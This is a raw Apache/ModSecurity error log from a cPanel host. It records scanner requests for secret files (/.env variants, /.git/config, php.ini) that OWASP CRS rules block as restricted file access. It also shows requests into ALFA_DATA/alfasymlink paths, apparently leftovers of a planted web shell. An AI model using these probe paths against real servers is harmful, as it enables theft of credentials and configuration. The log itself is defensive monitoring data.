[Sun Oct 25 07:40:35.035269 2026] [security2:error] [pid 2815606:tid 2815606] [client 34.178.30.68:43082] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.test"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.test"] [unique_id "at3qsyQ6C_qJaeV2JCrHdgAAABQ"]
[Sun Oct 25 07:40:35.035414 2026] [security2:error] [pid 2815606:tid 2815606] [client 34.178.30.68:43082] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.test"] [unique_id "at3qsyQ6C_qJaeV2JCrHdgAAABQ"]
[Sun Oct 25 07:40:35.035662 2026] [security2:error] [pid 2815606:tid 2815606] [client 34.178.30.68:43082] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.test"] [unique_id "at3qsyQ6C_qJaeV2JCrHdgAAABQ"]
[Sun Oct 25 07:40:35.148827 2026] [security2:error] [pid 2822163:tid 2822163] [client 34.178.30.68:43094] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.remote"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env.remote"] [unique_id "at3qs9M5mscaDMZSsHxq9gAAAAE"]
[Sun Oct 25 07:40:35.149046 2026] [security2:error] [pid 2822163:tid 2822163] [client 34.178.30.68:43094] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env.remote"] [unique_id "at3qs9M5mscaDMZSsHxq9gAAAAE"]
[Sun Oct 25 07:40:35.149336 2026] [security2:error] [pid 2822163:tid 2822163] [client 34.178.30.68:43094] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env.remote"] [unique_id "at3qs9M5mscaDMZSsHxq9gAAAAE"]
[Sun Oct 25 07:40:35.168426 2026] [security2:error] [pid 2815606:tid 2815606] [client 34.178.30.68:43082] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.remote"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.remote"] [unique_id "at3qsyQ6C_qJaeV2JCrHdwAAABQ"]
[Sun Oct 25 07:40:35.168604 2026] [security2:error] [pid 2815606:tid 2815606] [client 34.178.30.68:43082] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.remote"] [unique_id "at3qsyQ6C_qJaeV2JCrHdwAAABQ"]
[Sun Oct 25 07:40:35.168831 2026] [security2:error] [pid 2815606:tid 2815606] [client 34.178.30.68:43082] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.remote"] [unique_id "at3qsyQ6C_qJaeV2JCrHdwAAABQ"]
[Sun Oct 25 07:40:35.299072 2026] [security2:error] [pid 2815606:tid 2815606] [client 34.178.30.68:43082] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.bak"] [unique_id "at3qsyQ6C_qJaeV2JCrHeAAAABQ"]
[Sun Oct 25 07:40:35.299311 2026] [security2:error] [pid 2815606:tid 2815606] [client 34.178.30.68:43082] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.bak"] [unique_id "at3qsyQ6C_qJaeV2JCrHeAAAABQ"]
[Sun Oct 25 07:40:35.299579 2026] [security2:error] [pid 2815606:tid 2815606] [client 34.178.30.68:43082] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.bak"] [unique_id "at3qsyQ6C_qJaeV2JCrHeAAAABQ"]
[Sun Oct 25 07:40:35.391007 2026] [security2:error] [pid 2822163:tid 2822163] [client 34.178.30.68:43094] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env.bak"] [unique_id "at3qs9M5mscaDMZSsHxq9wAAAAE"]
[Sun Oct 25 07:40:35.391222 2026] [security2:error] [pid 2822163:tid 2822163] [client 34.178.30.68:43094] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env.bak"] [unique_id "at3qs9M5mscaDMZSsHxq9wAAAAE"]
[Sun Oct 25 07:40:35.391518 2026] [security2:error] [pid 2822163:tid 2822163] [client 34.178.30.68:43094] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env.bak"] [unique_id "at3qs9M5mscaDMZSsHxq9wAAAAE"]
[Sun Oct 25 07:40:35.426510 2026] [security2:error] [pid 2815606:tid 2815606] [client 34.178.30.68:43082] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.backup"] [unique_id "at3qsyQ6C_qJaeV2JCrHeQAAABQ"]
[Sun Oct 25 07:40:35.426735 2026] [security2:error] [pid 2815606:tid 2815606] [client 34.178.30.68:43082] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.backup"] [unique_id "at3qsyQ6C_qJaeV2JCrHeQAAABQ"]
[Sun Oct 25 07:40:35.427073 2026] [security2:error] [pid 2815606:tid 2815606] [client 34.178.30.68:43082] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.backup"] [unique_id "at3qsyQ6C_qJaeV2JCrHeQAAABQ"]
[Sun Oct 25 07:40:38.500967 2026] [ssl:error] [pid 2815601:tid 2815601] (70014)End of file found: [client 34.204.150.196:13767] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:40:42.513991 2026] [ssl:error] [pid 2806348:tid 2806348] (70014)End of file found: [client 18.206.47.187:18219] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:40:46.513932 2026] [core:error] [pid 2815599:tid 2815599] (13)Permission denied: [client 100.28.44.58:14959] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:0a/subsystem/devices/PNP0A03:00/wakeup/wakeup7/device/physical_node/0000:00:03.0/subsystem/drivers/uhci_hcd/module/uevent
[Sun Oct 25 07:40:58.963021 2026] [ssl:error] [pid 2815606:tid 2815606] (70014)End of file found: [client 54.159.98.248:20096] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:41:02.988834 2026] [ssl:error] [pid 2815599:tid 2815599] (70014)End of file found: [client 34.231.118.144:14665] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:41:06.598008 2026] [ssl:error] [pid 2815605:tid 2815605] (70014)End of file found: [client 3.89.176.255:8741] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:41:18.574763 2026] [ssl:error] [pid 2823283:tid 2823283] (70014)End of file found: [client 98.83.178.66:24951] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:41:34.886664 2026] [ssl:error] [pid 2815605:tid 2815605] (70014)End of file found: [client 54.90.244.132:55172] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:41:38.670778 2026] [ssl:error] [pid 2815602:tid 2815602] (70014)End of file found: [client 44.212.232.231:7822] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:41:50.652421 2026] [ssl:error] [pid 2815599:tid 2815599] (70014)End of file found: [client 34.234.200.207:45831] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:41:54.869933 2026] [core:error] [pid 2815606:tid 2815606] (13)Permission denied: [client 3.229.2.217:51529] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/physical_node/0000:00:04.0/driver/module/drivers/pci:virtio-pci/0000:00:04.0/remove
[Sun Oct 25 07:42:02.730359 2026] [ssl:error] [pid 2821699:tid 2821699] (70014)End of file found: [client 44.221.227.90:48595] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:42:09.077494 2026] [core:error] [pid 2815605:tid 2815605] (13)Permission denied: [client 185.191.171.10:50568] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bfq_io_cq/slabs_cpu_partial
[Sun Oct 25 07:42:09.078001 2026] [security2:error] [pid 2815605:tid 2815605] [client 185.191.171.10:50568] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bfq_io_cq/slabs_cpu_partial"] [unique_id "at3rEQYPMfHr0EMMDlnl1AAAABM"]
[Sun Oct 25 07:42:09.078035 2026] [security2:error] [pid 2815605:tid 2815605] [client 185.191.171.10:50568] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bfq_io_cq/slabs_cpu_partial"] [unique_id "at3rEQYPMfHr0EMMDlnl1AAAABM"]
[Sun Oct 25 07:42:10.638100 2026] [ssl:error] [pid 2815602:tid 2815602] (70014)End of file found: [client 35.153.86.200:1761] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:42:14.527314 2026] [core:error] [pid 2823283:tid 2823283] (13)Permission denied: [client 185.191.171.15:26698] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dma-kmalloc-128/partial
[Sun Oct 25 07:42:14.726669 2026] [ssl:error] [pid 2815601:tid 2815601] (70014)End of file found: [client 52.54.249.218:28604] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:42:18.628205 2026] [ssl:error] [pid 2822163:tid 2822163] (70014)End of file found: [client 100.29.128.75:23206] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:42:22.737878 2026] [ssl:error] [pid 2821699:tid 2821699] (70014)End of file found: [client 34.206.249.188:52788] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:42:24.050902 2026] [security2:error] [pid 2806348:tid 2806348] [client 47.196.115.27:41864] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/var/softaculous/joomla54/update_pass.php"] [unique_id "at3rHw-YVEbWS5meiuhi9gAAAAw"]
[Sun Oct 25 07:42:24.050949 2026] [security2:error] [pid 2806348:tid 2806348] [client 47.196.115.27:41864] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/var/softaculous/joomla54/update_pass.php"] [unique_id "at3rHw-YVEbWS5meiuhi9gAAAAw"]
[Sun Oct 25 07:42:26.818151 2026] [ssl:error] [pid 2815599:tid 2815599] (70014)End of file found: [client 3.213.106.226:9320] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:42:30.871893 2026] [security2:error] [pid 2815605:tid 2815605] [client 18.215.77.19:43280] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/memory16/subsystem/devices/memory6/node0/cpu0/"] [unique_id "at3rJgYPMfHr0EMMDlnl1QAAABM"]
[Sun Oct 25 07:42:30.871949 2026] [security2:error] [pid 2815605:tid 2815605] [client 18.215.77.19:43280] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/memory16/subsystem/devices/memory6/node0/cpu0/"] [unique_id "at3rJgYPMfHr0EMMDlnl1QAAABM"]
[Sun Oct 25 07:42:34.631700 2026] [ssl:error] [pid 2815602:tid 2815602] (70014)End of file found: [client 50.16.248.61:52658] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:42:42.872639 2026] [ssl:error] [pid 2822163:tid 2822163] (70014)End of file found: [client 54.235.125.129:38137] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:42:45.088681 2026] [core:error] [pid 2821699:tid 2821699] (13)Permission denied: [client 85.208.96.197:29202] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ip6-frags/trace
[Sun Oct 25 07:43:07.877885 2026] [ssl:error] [pid 2815602:tid 2815602] (70014)End of file found: [client 35.173.18.61:18358] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:43:09.218406 2026] [core:error] [pid 2820367:tid 2820367] (13)Permission denied: [client 185.191.171.14:52972] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/mqueue_inode_cache/sanity_checks
[Sun Oct 25 07:43:11.036006 2026] [ssl:error] [pid 2822163:tid 2822163] (70014)End of file found: [client 98.80.130.239:57232] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:43:16.122643 2026] [ssl:error] [pid 2815601:tid 2815601] (70014)End of file found: [client 34.225.24.180:34944] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:43:18.906337 2026] [ssl:error] [pid 2806348:tid 2806348] (70014)End of file found: [client 18.207.79.144:36264] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:43:22.347739 2026] [authz_core:error] [pid 2815605:tid 2815605] [client 34.17.103.169:38746] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sun Oct 25 07:43:22.948191 2026] [security2:error] [pid 2815605:tid 2815605] [client 34.17.103.169:38746] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/.git/config"] [unique_id "at3rWgYPMfHr0EMMDlnl3AAAABM"]
[Sun Oct 25 07:43:22.948457 2026] [security2:error] [pid 2815605:tid 2815605] [client 34.17.103.169:38746] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/.git/config"] [unique_id "at3rWgYPMfHr0EMMDlnl3AAAABM"]
[Sun Oct 25 07:43:22.948822 2026] [security2:error] [pid 2815605:tid 2815605] [client 34.17.103.169:38746] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/.git/config"] [unique_id "at3rWgYPMfHr0EMMDlnl3AAAABM"]
[Sun Oct 25 07:43:22.954808 2026] [ssl:error] [pid 2815602:tid 2815602] (70014)End of file found: [client 34.239.197.197:35238] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:43:23.385032 2026] [security2:error] [pid 2815605:tid 2815605] [client 34.17.103.169:38746] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/.env"] [unique_id "at3rWwYPMfHr0EMMDlnl3gAAABM"]
[Sun Oct 25 07:43:23.385315 2026] [security2:error] [pid 2815605:tid 2815605] [client 34.17.103.169:38746] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/.env"] [unique_id "at3rWwYPMfHr0EMMDlnl3gAAABM"]
[Sun Oct 25 07:43:23.385716 2026] [security2:error] [pid 2815605:tid 2815605] [client 34.17.103.169:38746] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/.env"] [unique_id "at3rWwYPMfHr0EMMDlnl3gAAABM"]
[Sun Oct 25 07:43:23.495161 2026] [security2:error] [pid 2815605:tid 2815605] [client 34.17.103.169:38746] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/.env.local"] [unique_id "at3rWwYPMfHr0EMMDlnl3wAAABM"]
[Sun Oct 25 07:43:23.495415 2026] [security2:error] [pid 2815605:tid 2815605] [client 34.17.103.169:38746] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/.env.local"] [unique_id "at3rWwYPMfHr0EMMDlnl3wAAABM"]
[Sun Oct 25 07:43:23.495827 2026] [security2:error] [pid 2815605:tid 2815605] [client 34.17.103.169:38746] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/.env.local"] [unique_id "at3rWwYPMfHr0EMMDlnl3wAAABM"]
[Sun Oct 25 07:43:23.605461 2026] [security2:error] [pid 2815605:tid 2815605] [client 34.17.103.169:38746] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/.env.production"] [unique_id "at3rWwYPMfHr0EMMDlnl4AAAABM"]
